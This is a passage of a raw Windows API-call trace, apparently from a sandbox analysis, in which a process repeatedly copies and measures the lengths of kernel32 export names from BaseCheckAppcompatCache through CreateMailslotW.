lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0053.776] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0053.776] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0053.777] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0053.777] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0053.777] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0053.777] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0053.777] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0053.777] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0053.777] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0053.777] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0053.777] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0053.777] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0053.777] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0053.777] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0053.777] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0053.777] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0053.777] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0053.777] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0053.777] lstrcpyA (in: lpString1=0x34eac8, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0053.777] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0053.778] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0053.778] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0053.778] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0053.778] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0053.778] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0053.778] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0053.778] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0053.778] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0053.778] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0053.778] lstrlenA (lpString="BEEP") returned 4 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0053.778] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0053.778] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0053.778] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0053.778] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0053.778] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0053.778] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0053.778] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0053.778] lstrcpyA (in: lpString1=0x34eac8, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0053.778] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0053.779] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0053.779] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0053.779] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0053.779] lstrlenA (lpString="CANCELIO") returned 8 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0053.779] lstrlenA (lpString="CANCELIOEX") returned 10 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0053.779] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0053.779] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0053.779] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0053.779] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0053.779] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0053.779] lstrlenA (lpString="CHECKELEVATION") returned 14 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0053.779] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0053.779] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0053.779] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0053.779] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0053.779] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0053.779] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0053.779] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0053.779] lstrcpyA (in: lpString1=0x34eac8, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0053.780] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0053.780] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0053.780] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0053.780] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0053.780] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0053.780] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0053.780] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0053.780] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0053.780] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0053.780] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0053.780] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0053.780] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0053.780] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0053.780] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0053.780] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0053.780] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0053.780] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0053.780] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0053.780] lstrcpyA (in: lpString1=0x34eac8, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0053.781] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0053.781] lstrcpyA (in: lpString1=0x34eac8, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0053.781] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0053.781] lstrcpyA (in: lpString1=0x34eac8, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0053.781] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0053.781] lstrcpyA (in: lpString1=0x34eac8, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0053.781] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0053.781] lstrcpyA (in: lpString1=0x34eac8, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0053.784] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0053.784] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0053.784] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0053.784] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0053.784] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0053.784] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0053.784] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0053.784] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0053.784] lstrlenA (lpString="COPYCONTEXT") returned 11 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0053.784] lstrlenA (lpString="COPYFILEA") returned 9 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0053.784] lstrlenA (lpString="COPYFILEEXA") returned 11 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0053.784] lstrlenA (lpString="COPYFILEEXW") returned 11 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0053.784] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0053.784] lstrcpyA (in: lpString1=0x34eac8, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0053.785] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0053.785] lstrlenA (lpString="COPYFILEW") returned 9 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0053.785] lstrlenA (lpString="COPYLZFILE") returned 10 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0053.785] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0053.785] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0053.785] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0053.785] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0053.785] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0053.785] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0053.785] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0053.785] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0053.785] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0053.785] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0053.785] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0053.785] lstrlenA (lpString="CREATEEVENTA") returned 12 [0053.785] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0053.785] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0053.786] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0053.786] lstrlenA (lpString="CREATEEVENTW") returned 12 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0053.786] lstrlenA (lpString="CREATEFIBER") returned 11 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0053.786] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0053.786] lstrlenA (lpString="CREATEFILEA") returned 11 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0053.786] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0053.786] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0053.786] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0053.786] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0053.786] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0053.786] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0053.786] lstrlenA (lpString="CREATEFILEW") returned 11 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0053.786] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0053.786] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0053.786] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0053.786] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0053.786] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0053.786] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0053.786] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0053.787] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0053.787] lstrlenA (lpString="CREATEJOBSET") returned 12 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0053.787] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0053.787] lstrlenA (lpString="CREATEMAILSLOTW") 